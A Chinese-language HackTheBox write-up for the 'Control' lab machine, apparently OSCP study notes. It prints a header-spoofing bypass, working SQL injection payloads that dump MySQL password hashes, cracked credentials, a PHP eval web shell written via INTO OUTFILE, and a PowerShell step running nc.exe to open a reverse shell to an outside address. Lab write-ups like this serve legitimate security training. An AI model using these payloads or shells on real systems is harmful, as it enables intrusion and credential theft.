1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
control.md 3.73 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-07-10 19:50 . update

信息收集

端口扫描只开放了80,135,3306

web

php + iis 点击admin、longin按钮都是admin.php。访问提示Access Denied: Header Missing. Please ensure you go through the proxy to access this page 查看首页源码发现 control1 抓包添加X-Forwarded-For: 192.168.4.28请求头成功访问admin.php control2

sql注入

在页面抓包点点看看。发现find products功能存在sql注入 输入1‘发现语句报错mariaDB,也就是mysql。继续尝试报错注入

productName=11'%20and%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

control3 得到数据库名warehouse,用户名manager,路径为c:
发现联合查询也可以。那就不用报错注入了,毕竟返回结果有长度限制不是那么方便 control4 确定只有6列,发现都有回显 直接读取mysql的用户和密码

productName=0'%20union%20select%20group_concat(User),group_concat(Password)%20,3,4,5,6%20from%20mysql.user--+

control5

user password
root *0A4A5CAD344718DC418035A1F4D292BA603134D8
manager *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
hector *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

使用john爆破

john --format=mysql-sha1 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt 

control6 只有hector的爆出来了: l33th4x0rhector。但是直接连3306也连不上。

iis默认路径写shell

尝试往iis默认目录写shell

productName=0'%20union%20select%201,'<?php%20eval($_POST[cmd]);?>',3,4,5,6%20into%20outfile'c:/inetpub/wwwroot/yjh.php'--+

虽然有报错,但是访问证实是存在的 control7 蚁剑成功连接,翻到manager的密码 control8 manager : l3tm3!n

提权

powershell切换到hector用户

Fidelity
$user = "Fidelity\hector" 
$pass = "l33th4x0rhector" 
$secstr = New-Object -TypeName System.Security.SecureString
$pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
Invoke-Command -ScriptBlock { c:\temp\nc.exe -e cmd 10.10.14.14 1234 } -Credential $cred -Computer localhost

control9

$user = "Fidelity\administrator" 
$pass = "l3tm3!n" 
$secstr = New-Object -TypeName System.Security.SecureString
$pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost

powershell历史操作

下载winpeas.exe,发现powershell的历史操作 也可以通过执行

gc (Get-PSReadlineOption).HistorySavePath

control10

$acl = Get-ACL -Path HKLM:\SYSTEM\CurrentControlSet\Services
ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}

control11

$services = gci HKLM:\SYSTEM\CurrentControlSet\Services
foreach ($service in $services) { $sddl = (cmd /c sc sdshow $service)[1]; if ($sddl -match "RP[A-Z]*?;;;AU") { write-host $service,$sddl }}

后面的部分照抄wp也报错。不做了

Get-CimInstance win32_service | % {
$result = $_ | Invoke-CimMethod -Name StartService  
[pscustomobject]@{  
Result=$result.ReturnValue  
Name=$_.Name  
Account=$_.StartName  
Startup=$_.StartMode  
DisplayName=$_.Displayname  
}  
} | Sort Name | Where {  
($_.Result -eq 0)`  
-and ($_.Account -eq "LocalSystem")`  
-and ($_.Startup -eq "Manual")  
}
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助